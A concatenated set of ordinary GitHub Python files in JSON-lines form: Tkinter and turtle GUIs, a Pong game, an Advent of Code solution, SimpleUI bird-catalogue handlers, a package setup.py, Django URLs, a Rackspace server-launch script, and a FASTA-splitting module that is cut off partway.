CRCRatingsMoodys.\n :param arrayOfPairs: This is the array of CRCRatingPairs, as passed by the thread declaration in\n CRCRatingsMoodys\n \"\"\"\n def __init__(self, arrayOfPairs):\n\n # Array of CRCRatingsPair objects\n self.arrayOfPairs = arrayOfPairs\n\n # Hardcoded width and height (for now)...\n self.width = \"375\"\n self.height = \"500\"\n\n # Root initialization\n self.root = Tk()\n self.root.title(\"Ratings-Trading\")\n self.root.geometry(self.width + \"x\" + self.height)\n self.mainFrame(self.root)\n\n # While true, keep the application visible. Protocal calling on_closing to properly close the window\n # and terminate the thread\n # self.root.protocol(\"WM_DELETE_WINDOW\", self.on_closing())\n self.root.mainloop()\n\n \"\"\"\n This is the main frame, and hence the first window that pops up once the prior threads are terminated.\n This is the last thread in the sequence of threads in CRCRatingsMoodys.\n :param master: Tk() variable\n \"\"\"\n def mainFrame(self, master):\n\n # Main frame\n frame = Frame(master)\n frame.pack()\n\n # CRC logo\n sys.path.append('../../../../images/CRC_Logo.png')\n img = ImageTk.PhotoImage(Image.open(\"../../../../images/CRC_Logo.png\"))\n # TODO: Fix icon\n # master.iconbitmap(\"../../../../images/CRC_Logo.ico\")\n img_panel = Label(master, image=img)\n img_panel.image = img\n img_panel.pack()\n\n banner = Label(master, text='Welcome to the Ratings Trader', font=('Helvetica', 24))\n banner.pack(side=\"bottom\", fill=\"both\", expand=\"yes\")\n\n choose_brokerage_label = Label(master,text='Choose your brokerage:')\n choose_brokerage_label.pack()\n\n # Engineered in such a way that one can add more brokerages (in the form of radio buttons) if\n # further functionality is sought. For now, this is more of a proof of concept than a product,\n # so for those reasons, interfacing with other brokerage APIs is not a priority.\n\n # Tkinter variable to determine callback values\n self.selection = IntVar()\n\n no_selection = Radiobutton(master, text='[None]', variable=self.selection, value = 0,\n command=self.selection_callback)\n no_selection.pack()\n IB_selection = Radiobutton(master, text='Interactive Brokers', variable=self.selection,\n value=1, command=self.selection_callback)\n IB_selection.pack()\n\n more = Label(master, text='More brokerages to come...')\n more.pack()\n\n next = Button(master, text='Next')\n next.pack()\n\n \"\"\"\n This is the callback initiated when a RadioButton is selected\n 0 - [None]\n 1 - [Interactive Brokers]\n ...\n (More brokerages may be added in the future)\n \"\"\"\n def selection_callback(self):\n logging.debug(str(self.selection.get()))\n\n \"\"\"\n This is the on_closing protocol that will properly destroy the application, such that the main thread in\n the spider can resume.\n \"\"\"\n def on_closing(self):\n if messagebox.askokcancel(\"Quit\", \"Are you sure you want to quit?\"):\n self.root.destroy()","repo_name":"dmmagdal/Ratings-Trading","sub_path":"ratingstrading.src/com/crcapital/frontend/CRCRatingsFrontend.py","file_name":"CRCRatingsFrontend.py","file_ext":"py","file_size_in_byte":4070,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"38541650758","text":"import turtle, math, random\nfrom space_arena import *\n\nclass Radar():\n def __init__(self, x, y, width, height):\n self.x = x\n self.y = y\n self.width = width\n self.height = height\n\n def render(self, pen, sprites):\n\n # Draw radar circle\n pen.color(\"white\")\n pen.setheading(90)\n pen.goto(self.x + self.width / 2.0, self.y)\n pen.pendown()\n pen.circle(self.width / 2.0)\n pen.penup()\n\n # Draw sprites\n for sprite in sprites:\n if sprite.state == \"active\":\n radar_x = self.x + (sprite.x - player.x) * (self.width/game.width)\n radar_y = self.y + (sprite.y - player.y) * (self.height/game.height)\n pen.goto(radar_x, radar_y)\n pen.color(sprite.color)\n pen.shape(sprite.shape)\n pen.setheading(sprite.heading)\n pen.shapesize(0.1, 0.1, None)\n\n # Make sure the sprite is close to the player\n distance = ((player.x-sprite.x)**2 + (player.y-sprite.y)**2)**0.5\n if distance < player.radar:\n pen.stamp()","repo_name":"aviparkhe/space_arena","sub_path":"radar.py","file_name":"radar.py","file_ext":"py","file_size_in_byte":1160,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"7719356457","text":"import itertools\n\nadapters = []\nwith open('adapters.txt') as file:\n for line in file:\n adapters.append(int(line.split('\\n')[0]))\n\n# Add 0 to the list\nadapters.append(0)\n# Sort list\nadapters.sort()\n# Add last number (highest since the list is sorted) +3\nadapters.append(adapters[-1] + 3)\nprint(adapters)\n\n\n# Go through the list recording differeces in sorted list\nremovables = []\nfor k in range(1, len(adapters)-1):\n diff = adapters[k + 1] - adapters[k - 1]\n if diff <= 3:\n removables.append(adapters[k])\n\n\n\n\ntotal = 1\ncount = 1\nprint(removables)\nremovables.append(removables[-1]+4)\nfor l in range(len(removables)-1):\n if removables[l+1] - removables[l] <= 3:\n # print(removables[l+1])\n count = count + 1\n else:\n if count == 3:\n total = total * 7\n if count <= 2:\n total = total * 2**count\n\n count = 1\n\n\nprint(total)","repo_name":"slevin87/AdventOfCode","sub_path":"2020/Day_10/day10_b.py","file_name":"day10_b.py","file_ext":"py","file_size_in_byte":900,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"185772047","text":"import json\nimport os\nfrom ru.travelfood.simple_ui import NoSQL as noClass\nfrom PIL import Image\nimport datetime\n\nqueue_birds = []\n\n\ndef init(hashMap, _files=None, _data=None):\n SW_Birds = noClass(\"birds_nosql\")\n finish_log = noClass(\"birds_log\")\n return hashMap\n\n\ndef birds_on_start(hashMap, _files=None, _data=None):\n SW_Birds = noClass(\"birds_nosql\")\n hashMap.put(\"mm_local\", \"\")\n hashMap.put(\"mm_compression\", \"70\")\n hashMap.put(\"mm_size\", \"65\")\n\n list = {\"customcards\": {\n\n \"layout\": {\n \"type\": \"LinearLayout\",\n \"orientation\": \"vertical\",\n \"height\": \"match_parent\",\n \"width\": \"match_parent\",\n \"weight\": \"0\",\n \"Elements\": [\n {\n 'key': '@id_number',\n \"type\": \"LinearLayout\",\n \"orientation\": \"horizontal\",\n \"height\": \"wrap_content\",\n \"width\": \"match_parent\",\n \"weight\": \"0\",\n \"Elements\": [\n {\n\n \"type\": \"Picture\",\n \"show_by_condition\": \"\",\n \"Value\": \"@pic\",\n \"NoRefresh\": False,\n \"document_type\": \"\",\n \"mask\": \"\",\n \"Variable\": \"\",\n \"TextSize\": \"16\",\n \"TextColor\": \"#DB7093\",\n \"TextBold\": True,\n \"TextItalic\": False,\n \"BackgroundColor\": \"\",\n \"width\": \"75\",\n \"height\": \"75\",\n \"weight\": 0\n },\n {\n \"type\": \"LinearLayout\",\n \"orientation\": \"vertical\",\n \"height\": \"wrap_content\",\n \"width\": \"match_parent\",\n \"weight\": \"1\",\n \"Elements\": [\n {\n \"type\": \"TextView\",\n \"show_by_condition\": \"\",\n \"Value\": \"@id_number\",\n \"NoRefresh\": False,\n \"document_type\": \"\",\n \"mask\": \"\",\n \"Variable\": \"\"\n },\n {\n \"type\": \"TextView\",\n \"show_by_condition\": \"\",\n \"Value\": \"@name\",\n \"NoRefresh\": False,\n \"document_type\": \"\",\n \"mask\": \"\",\n \"Variable\": \"\"\n },\n {\n \"type\": \"TextView\",\n \"show_by_condition\": \"\",\n \"Value\": \"@color\",\n \"NoRefresh\": False,\n \"document_type\": \"\",\n \"mask\": \"\",\n \"Variable\": \"\"\n }\n ]\n }\n ]\n }\n ]\n }\n\n }\n }\n\n query = SW_Birds.getallkeys()\n jkeys = json.loads(query)\n list[\"customcards\"][\"cardsdata\"] = []\n # Чек списка\n # list[\"customcards\"][\"cardsdata\"].append({\"id_number\": query})\n for i in jkeys:\n a = json.loads(SW_Birds.get(i))\n\n pic = \"\"\n if 'photo' in a:\n p = a['photo']\n if len(p) > 0:\n for jf in _files:\n if jf['id'] == p[0]:\n if os.path.exists(jf['path']):\n pic = \"~\" + jf['path']\n break\n list[\"customcards\"][\"cardsdata\"].append(\n {\"key\": a[\"id\"], \"id_number\": a['id'], 'color': a['color'], 'name': a['name'], 'pic': pic})\n # Тесты птиц\n # for n in range(10):\n # list[\"customcards\"][\"cardsdata\"].append(\n # {\"name\": \"Тестовая птица \" + str(n), \"key\": n, \"id_number_number\": str(n), \"color\": str(n), \"pictures\": [],\n # \"pic\": \"\"})\n\n hashMap.put(\"list\", json.dumps(list))\n\n return hashMap\n\n\ndef birds_input(hashMap, _files=None, _data=None):\n global nom_id\n\n if hashMap.get(\"listener\") == \"btn_add\":\n hashMap.put(\"name\", \"\")\n hashMap.put(\"color\", \"\")\n\n hashMap.put(\"photoGallery\", json.dumps([]))\n\n nom_id = -1\n hashMap.put(\"ShowScreen\", \"Добавление\")\n elif hashMap.get('listener') == 'CardsClick':\n hashMap = open_nom(hashMap, hashMap.get(\"selected_card_key\"))\n\n return hashMap\n\n\ndef birds_record_input(hashMap, _files=None, _data=None):\n global nom_id\n if hashMap.get(\"listener\") == \"btn_save\":\n\n hashMap, success = save_nom(hashMap)\n if success:\n hashMap.put(\"ShowScreen\", \"Птицы\")\n\n elif hashMap.get(\"listener\") == \"photo\":\n\n image_file = str(\n hashMap.get(\"photo_path\"))\n\n image = Image.open(image_file)\n im = image.resize((500, 500))\n im.save(image_file)\n\n jphotoarr = json.loads(hashMap.get(\"photoGallery\"))\n hashMap.put(\"photoGallery\", json.dumps(jphotoarr))\n nom_id = 1\n\n\n elif hashMap.get(\n \"listener\") == \"gallery_change\":\n if hashMap.containsKey(\"photoGallery\"):\n jphotoarr = json.loads(hashMap.get(\"photoGallery\"))\n hashMap.put(\"photoGallery\", json.dumps(jphotoarr))\n\n return hashMap\n\n\ndef birds_record_on_start(hashMap, _files=None, _data=None):\n hashMap.put(\"mm_local\", \"\")\n hashMap.put(\"mm_compression\", \"70\")\n hashMap.put(\"mm_size\", \"65\")\n\n hashMap.put(\"fill_name\", json.dumps({\"hint\": \"Название птицы\", \"default_text\": hashMap.get(\"name\")}))\n hashMap.put(\"fill_color\", json.dumps({\"hint\": \"Цвет птицы\", \"default_text\": hashMap.get(\"color\")}))\n\n return hashMap\n\n\ndef card_input(hashMap, _files=None, _data=None):\n global info\n global queue_birds\n SW_Birds = noClass(\"birds_nosql\")\n if hashMap.get('listener') == 'btn_add_score':\n info['counter'] = str(int(info['counter']) + 1)\n SW_Birds.put('Object' + info['id'], json.dumps(info, ensure_ascii=False), True)\n\n hashMap.put('toast', json.dumps(queue_birds))\n if not 'Object' + info['id'] in queue_birds:\n queue_birds.append('Object' + info['id'])\n\n return hashMap\n\n\ndef card_on_start(hashMap, _files=None, _data=None):\n global info\n hashMap.put(\"mm_local\", \"\")\n hashMap.put(\"mm_compression\", \"70\")\n hashMap.put(\"mm_size\", \"65\")\n list2 = {\"customcards\": {\n\n \"layout\": {\n \"type\": \"LinearLayout\",\n \"orientation\": \"vertical\",\n \"height\": \"match_parent\",\n \"width\": \"match_parent\",\n \"weight\": \"0\",\n \"Elements\": [\n {\n 'key': '@id_number',\n \"type\": \"LinearLayout\",\n \"orientation\": \"horizontal\",\n \"height\": \"wrap_content\",\n \"width\": \"match_parent\",\n \"weight\": \"0\",\n \"Elements\": [\n {\n\n \"type\": \"Picture\",\n \"show_by_condition\": \"\",\n \"Value\": \"@pic\",\n \"NoRefresh\": False,\n \"document_type\": \"\",\n \"mask\": \"\",\n \"Variable\": \"\",\n \"TextSize\": \"25\",\n \"TextColor\": \"#DB7093\",\n \"TextBold\": True,\n \"TextItalic\": False,\n \"BackgroundColor\": \"\",\n \"width\": \"150\",\n \"height\": \"150\",\n \"weight\": 0\n },\n {\n \"type\": \"LinearLayout\",\n \"orientation\": \"vertical\",\n \"height\": \"wrap_content\",\n \"width\": \"match_parent\",\n \"weight\": \"1\",\n \"Elements\": [\n {\n \"type\": \"TextView\",\n \"show_by_condition\": \"\",\n \"Value\": '@id_number',\n \"NoRefresh\": False,\n \"document_type\": \"\",\n \"mask\": \"\",\n \"Variable\": \"\"\n },\n {\n \"type\": \"TextView\",\n \"show_by_condition\": \"\",\n \"Value\": \"@name\",\n \"NoRefresh\": False,\n \"document_type\": \"\",\n \"mask\": \"\",\n \"Variable\": \"\"\n },\n {\n \"type\": \"TextView\",\n \"show_by_condition\": \"\",\n \"Value\": \"@color\",\n \"NoRefresh\": False,\n \"document_type\": \"\",\n \"mask\": \"\",\n \"Variable\": \"\"\n }\n ]\n }\n ]\n }\n ]\n }\n\n }\n }\n list2[\"customcards\"][\"cardsdata\"] = []\n pic = \"\"\n if 'photo' in info:\n p = info['photo']\n if len(p) > 0:\n for jf in _files:\n if jf['id'] == p[0]:\n if os.path.exists(jf['path']):\n pic = \"~\" + jf['path']\n break\n list2[\"customcards\"][\"cardsdata\"].append(\n {\"key\": info[\"id\"], \"id_number\": info['id'], 'color': info['color'], 'name': info['name'], 'pic': pic})\n hashMap.put(\"list2\", json.dumps(list2))\n\n return hashMap\n\n\ndef open_nom(hashMap, key):\n global info\n SW_Birds = noClass(\"birds_nosql\")\n jsinfo = json.loads(SW_Birds.get('Object' + key))\n info = jsinfo\n hashMap.put(\"ShowScreen\", \"Карточка птицы\")\n hashMap.put('toast', json.dumps(info))\n return hashMap\n\n\ndef get_if_exist(hashMap, field):\n if hashMap.containsKey(field):\n res = hashMap.get(field)\n else:\n res = \"\"\n return res\n\n\ndef save_nom(hashMap):\n SW_Birds = noClass(\"birds_nosql\")\n global nom_id\n if not hashMap.containsKey(\"name\"):\n hashMap.put(\"toast\", \"Не указано наименование\")\n return hashMap, False\n else:\n if len(hashMap.get(\"name\")) == 0:\n hashMap.put(\"toast\", \"Не указано наименование\")\n return hashMap, False\n if not hashMap.containsKey(\"color\"):\n hashMap.put(\"toast\", \"Не указан цвет\")\n return hashMap, False\n else:\n if len(hashMap.get(\"color\")) == 0:\n hashMap.put(\"toast\", \"Не указан цвет\")\n return hashMap, False\n jkeys = json.loads(SW_Birds.getallkeys())\n if len(jkeys) == 0:\n id = '0'\n else:\n id_mn = json.loads(SW_Birds.get(jkeys[-1]))['id']\n id = str(int(id_mn) + 1)\n if nom_id < 0:\n d = {'id': id, 'name': get_if_exist(hashMap, \"name\"), 'color': get_if_exist(hashMap, \"color\"), 'counter': '0'}\n SW_Birds.put('Object' + id, json.dumps(d, ensure_ascii=False), True)\n else:\n d = {'id': id, 'name': get_if_exist(hashMap, \"name\"), 'color': get_if_exist(hashMap, \"color\"),\n 'photo': json.loads(hashMap.get(\"photoGallery\")), 'counter': '0'}\n SW_Birds.put('Object' + id, json.dumps(d, ensure_ascii=False), True)\n\n return hashMap, True\n\n\ndef finish_on_start(hashMap, _files=None, _data=None):\n finish_log = noClass(\"birds_log\")\n hashMap.put(\"mm_local\", \"\")\n hashMap.put(\"mm_compression\", \"70\")\n hashMap.put(\"mm_size\", \"65\")\n\n list3 = {\"customcards\": {\n\n \"layout\": {\n \"type\": \"LinearLayout\",\n \"orientation\": \"vertical\",\n \"height\": \"match_parent\",\n \"width\": \"match_parent\",\n \"weight\": \"0\",\n \"Elements\": [\n {\n 'key': '@id_number',\n \"type\": \"LinearLayout\",\n \"orientation\": \"horizontal\",\n \"height\": \"wrap_content\",\n \"width\": \"match_parent\",\n \"weight\": \"0\",\n \"Elements\": [\n {\n\n \"type\": \"Picture\",\n \"show_by_condition\": \"\",\n \"Value\": \"@pic\",\n \"NoRefresh\": False,\n \"document_type\": \"\",\n \"mask\": \"\",\n \"Variable\": \"\",\n \"TextSize\": \"16\",\n \"TextColor\": \"#DB7093\",\n \"TextBold\": True,\n \"TextItalic\": False,\n \"BackgroundColor\": \"\",\n \"width\": \"125\",\n \"height\": \"125\",\n \"weight\": 0\n },\n {\n \"type\": \"LinearLayout\",\n \"orientation\": \"vertical\",\n \"height\": \"wrap_content\",\n \"width\": \"match_parent\",\n \"weight\": \"1\",\n \"Elements\": [\n {\n \"type\": \"TextView\",\n \"show_by_condition\": \"\",\n \"Value\": \"@id_number\",\n \"NoRefresh\": False,\n \"document_type\": \"\",\n \"mask\": \"\",\n \"Variable\": \"\"\n },\n {\n \"type\": \"TextView\",\n \"show_by_condition\": \"\",\n \"Value\": \"@date\",\n \"NoRefresh\": False,\n \"document_type\": \"\",\n \"mask\": \"\",\n \"Variable\": \"\"\n },\n {\n \"type\": \"TextView\",\n \"show_by_condition\": \"\",\n \"Value\": \"@counter\",\n \"NoRefresh\": False,\n \"document_type\": \"\",\n \"mask\": \"\",\n \"Variable\": \"\"\n },\n {\n \"type\": \"TextView\",\n \"show_by_condition\": \"\",\n \"Value\": \"@name\",\n \"NoRefresh\": False,\n \"document_type\": \"\",\n \"mask\": \"\",\n \"Variable\": \"\"\n },\n {\n \"type\": \"TextView\",\n \"show_by_condition\": \"\",\n \"Value\": \"@color\",\n \"NoRefresh\": False,\n \"document_type\": \"\",\n \"mask\": \"\",\n \"Variable\": \"\"\n }\n ]\n }\n ]\n }\n ]\n }\n\n }\n }\n query = finish_log.getallkeys()\n jkeys = json.loads(query)\n list3[\"customcards\"][\"cardsdata\"] = []\n for i in jkeys[::-1]:\n a = json.loads(finish_log.get(i))\n hashMap.put('toast', finish_log.get(i))\n pic = \"\"\n if 'photo' in a:\n p = a['photo']\n if len(p) > 0:\n for jf in _files:\n if jf['id'] == p[0]:\n if os.path.exists(jf['path']):\n pic = \"~\" + jf['path']\n break\n list3[\"customcards\"][\"cardsdata\"].append(\n {\"date\": i, \"id_number\": a['id'], 'color': a['color'], 'name': a['name'], 'pic': pic,\n 'counter': a['counter']})\n\n hashMap.put(\"list3\", json.dumps(list3))\n\n return hashMap\n\n\ndef finish_input(hashMap, _files=None, _data=None):\n global queue_birds\n SW_Birds = noClass(\"birds_nosql\")\n finish_log = noClass(\"birds_log\")\n if hashMap.get(\"listener\") == \"btn_plus\":\n for i in queue_birds:\n inf = json.loads(SW_Birds.get(i))\n if 'photo' in inf:\n d = {'id': inf['id'], 'name': inf['name'], 'color': inf['color'],\n 'counter': inf['counter'],\n 'photo': inf['photo']}\n finish_log.put(str(datetime.datetime.now()), json.dumps(d, ensure_ascii=False), True)\n else:\n d = {'id': inf['id'], 'name': inf['name'], 'color': inf['color'], 'counter': inf['counter']}\n finish_log.put(str(datetime.datetime.now()), json.dumps(d, ensure_ascii=False), True)\n else:\n queue_birds = []\n hashMap.put('toast', finish_log.getallkeys())\n return hashMap\n","repo_name":"LightLM/SimpleUI_test","sub_path":"1/test_handlers.py","file_name":"test_handlers.py","file_ext":"py","file_size_in_byte":18493,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"14442123843","text":"# -*- coding: utf8 -*-\n\nimport sys\nfrom distutils import log as log\nfrom distutils.core import Command\nimport os\n\n\nimport please\nimport please.utils\nfrom please.executors.compiler import compile\nfrom please.utils.form_error_output import form_err_string_by_std\nfrom please.utils.exceptions import PleaseException\nimport please.log\n\npath = os.path.join(os.path.dirname(please.__file__), 'checkers')\nfor file in os.listdir(path):\n res,fout, err = None, None, None\n if os.path.splitext(file)[1] == '.cpp':\n res, fout, err = compile(os.path.join(path, file))\n if res.verdict != 'OK':\n print(form_err_string_by_std(fout, err))\n\nimport distribute_setup\n# Ставим дистрибьют правильной версии\n# Installation of the up to date distribution\n# distribute_setup.use_setuptools(version=\"0.6.19\")\n\nfrom setuptools import setup, find_packages\n\n# Папки, не содержащие код\n# Folders without\npackage_data = {\n 'please': ['templates/*.*', 'checkers/*.*'],\n 'please.exporter': ['templates/*.*'],\n 'please.language': ['mime.types'],\n}\n\n\nentry_points = {\n 'console_scripts' : ['please = please.launcher:main']\n}\n\n# python-библиотеки, обязательные к установке.\n# python-modules obligatory for installation\n# Можно указывать версию. Больше информации можно найти здесь:\n# You can specify the current version. For more information:\n# http://packages.python.org/distribute/setuptools.html#id12\n# Если инсталлятор не находит правильной версии библиотеки, то\n# нужно прописать в dependency_links либо прямую ссылку на дистрибутив, либо\n# ссылку на страницу, где перечислены варианты дистрибутивов этой библиотеки\n# со ссылками - он сам повыдёргивает, откуда скачать.\ninstall_requires = [\n 'psutil ==2.0.0',\n 'colorama',\n 'HTML.py ==0.04',\n]\n\nrepository_url = 'https://raw.githubusercontent.com/dubov94/please/master/'\n\ndependency_links = [\n repository_url + 'third_party/HTML.py-0.04-py3.2.egg',\n 'http://www.decalage.info/files/',\n 'http://pypi.python.org/pypi/colorama',\n repository_url + 'third_party/windows/HTML.py-0.04-py3.2.egg', #html for win32\n]\n\n# python-библиотеки, необходимые для разработчика.\n# Формат аналогичен предыдущему пункту.\n# dependency_links с предыдущим пунктом общие.\ndevelop_requires = [\n #'coverage',\n 'mox',\n]\n\nextras_require = {\n 'develop' : develop_requires\n}\n\ntry:\n from setup_extensions.develop import develop\nexcept ImportError as e:\n print('Error while importing develop extension: %s' % (str(e)))\nsetup_params = {\n 'name' : 'Please',\n 'version' : '0.3',\n 'description' : '***',\n 'package_dir' : {'please': 'please'},\n 'packages' : ['please.' + x for x in find_packages('please')] + ['please'],\n 'package_data' : package_data,\n 'install_requires' : install_requires,\n 'extras_require' : extras_require,\n 'dependency_links' : dependency_links,\n 'entry_points' : entry_points,\n 'cmdclass' : {'develop' : develop},\n}\n\nsetup(**setup_params)\n\n\nimport platform\nsystem = platform.system()[0]\nif (system == 'W'):\n log.info(\"\\nChecking Path variable...\")\n from distutils import sysconfig as conf\n path = os.getenv('path').replace('\"', '').split(';')\n log.info(\"Path: %s\", os.getenv('path'))\n pp = os.path.join(conf.PREFIX, 'scripts')\n if (not (pp in path or (pp + os.sep) in path)):\n req = 'echo Y | reg add \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment\" /v PATH /t REG_SZ /d \"%s;%s\"' % (os.getenv('path'), pp)\n log.info('calling ' + req)\n os.system(req)\n log.info('Added %s to path', pp)\n log.info('\\nTo apply changes, after the installation, please reboot the computer.')\n\n\nlog.info('\\nInstallation finished!')\n","repo_name":"parallel-p/please","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":4187,"program_lang":"python","lang":"ru","doc_type":"code","stars":9,"dataset":"github-code","pt":"3"} +{"seq_id":"11076290772","text":"from turtle import Screen, Turtle\nfrom paddle import Paddle # to import Paddle class from paddle.py\nfrom ball import Ball # to import Ball class from ball.py\nfrom scoreboard import Scoreboard # to import class Scoreboard class from scoreboard.py\nimport time # to import time module\n\nscreen = Screen()\nscreen.bgcolor(\"black\") # set screen color to black\nscreen.setup(width=800, height=600) # set screen dimensions\nscreen.title(\"Pong\") # set screen title to Pong\nscreen.tracer(0) # to control animation of turtle\n\nr_paddle = Paddle((350, 0)) # create right side paddle from Paddle class\nl_paddle = Paddle((-350, 0)) # create left side paddle from Paddle class\nball = Ball() # create an instance of Ball class\nscoreboard = Scoreboard() # create instance of Scoreboard class\n\nscreen.listen() # to make screen listen to keystrokes\nscreen.onkey(r_paddle.go_up, \"Up\") # bind function with 'Up' key\nscreen.onkey(r_paddle.go_down, \"Down\") # bind function with 'Down' key\nscreen.onkey(l_paddle.go_up, \"w\") # bind function with 'w' key\nscreen.onkey(l_paddle.go_down, \"s\") # bind function with 's' key\n\ngame_is_on = True\nwhile game_is_on:\n screen.update()\n time.sleep(ball.move_speed)\n ball.move()\n\n #Detect collision with wall\n if ball.ycor() > 280 or ball.ycor() < -280:\n ball.bounce_y()\n\n #Detect collision with paddle\n if ball.distance(r_paddle) < 50 and ball.xcor() > 320 or ball.distance(l_paddle) < 50 and ball.xcor() < -320:\n ball.bounce_x()\n\n #Detect R paddle misses\n if ball.xcor() > 380:\n ball.reset_position()\n scoreboard.l_point()\n\n #Detect L paddle misses:\n if ball.xcor() < -380:\n ball.reset_position()\n scoreboard.r_point()\n \n # winner selection criteria and stop the game \n if abs(scoreboard.l_score-scoreboard.r_score) >= 5:\n if scoreboard.l_score > scoreboard.r_score:\n scoreboard.winner_l()\n time.sleep(2)\n game_on = False\n screen.exitonclick()\n if scoreboard.r_score > scoreboard.l_score:\n scoreboard.winner_r()\n time.sleep(2)\n game_on = False\n screen.exitonclick()\n\n\n","repo_name":"skr2379/pong","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2492,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"30032580885","text":"from django.urls import path\nfrom .views import Home, Create, defaultAdress, Edit, deleteAdress\n\napp_name = 'shipping_adress'\n\nurlpatterns = [\n path('',Home.as_view(),name='list'),\n path('create',Create.as_view(),name='create'),\n path('default',defaultAdress,name='default'),\n path('edit/',Edit.as_view(),name='edit'),\n path('delete',deleteAdress,name='delete'),\n]\n","repo_name":"WanerValencia2019/OnlineStore","sub_path":"apps/shipping_adress/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":388,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"8746245121","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n'''\nThis script requires 4 environment variables to be declared:\n\n OS_USERNAME - Rackspace user for account that servers will be launched on\n OS_PASSWORD - API Key for the server launch user\n\n OS_DNS_USERNAME - Rackspace user with the tmpnb.org domain\n OS_DNS_PASSWORD - API key for the DNS user\n\nThen to run, you specify which node number we're creating like compmodels-iad-001.tmpnb.org\n\npython script/launch.py 10\n\nThe Ansible inventory file is spat out to stdout at the end.\n'''\n\nimport binascii\nimport os\n\nimport pyrax\n\ndef name_new_nodes(prefix=\"compmodels\", region=\"iad\", node_num=1, domain=\"tmpnb.org\"):\n # The naming problem\n node_naming_scheme = \"{prefix}-{region}-{node_num:03}\"\n node_base_name = node_naming_scheme.format(**locals())\n\n user_server_name = node_base_name + \"-user\" + \".\" + domain\n proxy_server_name = node_base_name + \".\" + domain\n\n return user_server_name, proxy_server_name\n\ndef launch_node(prefix=\"compmodels\", region=\"iad\", node_num=1, domain=\"tmpnb.org\"):\n key_name = \"team\"\n\n pyrax.set_setting(\"identity_type\", \"rackspace\")\n pyrax.set_credentials(os.environ[\"OS_USERNAME\"], os.environ[\"OS_PASSWORD\"])\n\n cs = pyrax.connect_to_cloudservers(region=region.upper())\n\n # My least favorite bug in pyrax - silent errors\n if(cs is None):\n raise Exception(\"Unable to connect to given region '{}'\".format(region))\n\n # Get our base images\n images = cs.list_base_images()\n ubs = [image for image in images if \"Ubuntu 14.04\" in image.name]\n user_image = [image for image in ubs if \"OnMetal\" in image.name][0]\n proxy_image = [image for image in ubs if \"PVHVM\" in image.name][0]\n\n user_server_name, proxy_server_name = name_new_nodes(prefix=prefix,\n region=region.lower(),\n node_num=node_num,\n domain=domain)\n\n # Launch the servers\n proxy_server = cs.servers.create(proxy_server_name, image=proxy_image.id, flavor='performance2-15', key_name=key_name)\n user_server = cs.servers.create(user_server_name, image=user_image.id, flavor='onmetal-compute1', key_name=key_name)\n\n # Wait on them\n print(\"Waiting on Proxy server\")\n proxy_server = pyrax.utils.wait_for_build(proxy_server, verbose=True)\n print(\"Waiting on jupyterhub user server\")\n user_server = pyrax.utils.wait_for_build(user_server, verbose=True)\n\n # Making this in case we want some JSON\n node_layout = {\n 'jupyterhub_server': {\n 'private': user_server.networks['private'][0],\n 'public': user_server.networks['public'][0]\n },\n 'proxy_server': {\n 'public': proxy_server.networks['public'][0]\n }\n }\n\n inventory = '''[jupyterhub]\n{user_server_name} ansible_ssh_user=root ansible_ssh_host={jupyterhub_server_public}\n\n[proxy]\n{proxy_server_name} ansible_ssh_user=root ansible_ssh_host={proxy_server_public} jupyterhub_host={jupyterhub_server_private}\n'''.format(jupyterhub_server_public=user_server.accessIPv4,\n jupyterhub_server_private=user_server.networks['private'][0],\n proxy_server_public=proxy_server.accessIPv4,\n user_server_name=user_server_name,\n proxy_server_name=proxy_server_name,\n )\n\n print(inventory)\n\n # If a separate account is used for DNS, use that instead\n if(\"OS_DNS_USERNAME\" in os.environ and \"OS_DNS_PASSWORD\" in os.environ):\n pyrax.set_credentials(os.environ[\"OS_DNS_USERNAME\"], os.environ[\"OS_DNS_PASSWORD\"])\n\n dns = pyrax.cloud_dns.find(name=domain)\n dns.add_record({'type': 'A',\n 'name': proxy_server_name,\n 'ttl': 60*5,\n 'data': proxy_server.accessIPv4})\n\n\nif __name__ == \"__main__\":\n import argparse\n\n parser = argparse.ArgumentParser(description='Launch nodes for tmpnb')\n\n parser.add_argument('prefix', type=str, default='compmodels',\n help='prefix in the URL base')\n parser.add_argument('region', type=str, default='iad',\n help='region to deploy to, also part of the domain name')\n parser.add_argument('node_num', metavar='N', type=int,\n help='what this set of servers will be identified as numerically')\n parser.add_argument('domain', type=str, default=\"tmpnb.org\",\n help='domain to host the servers on')\n\n args = parser.parse_args()\n launch_node(prefix=args.prefix, \n region=args.region,\n node_num=args.node_num,\n domain=args.domain\n )\n\n","repo_name":"rgbkrk/jupyterhub-compmodels-deploy","sub_path":"script/launch.py","file_name":"launch.py","file_ext":"py","file_size_in_byte":4761,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"3"} +{"seq_id":"7051937955","text":"#usr/bin/env python3\n# -*- coding: UTF-8 -*-\n# MODULO 2: Separa los querys del multifasta en fastas independientes y \n# comprueba su formato\n\nimport os\nimport sys\nimport shutil\n\ndef multifasta_fasta(query, file):\n\n cwd = os.getcwd()\n actual_path = os.path.join(cwd, query, file)\n with open(actual_path, \"r\") as f: # Leo el multifasta\n lineas = f.read()\n b = lineas.split(\">\") # Separo cada query\n for i in range(1, len(b)): # Itero sobre la lista\n new_filename = \"Query_\"+b[i][:4]+\".fasta\"\n with open(new_filename, \"w\") as outfile:\n outfile.write(\">\"+b[i])\n my_path = os.path.join(cwd, new_filename)\n output_path = os.path.join(cwd, query, new_filename)\n\n shutil.move(my_path, output_path) # Los muevo a la carpeta de query\n\n return()\n\ndef comprobar_query(query, filename):\n\n direccion = os.path.join(query, filename)\n cwd = os.getcwd()\n pos = 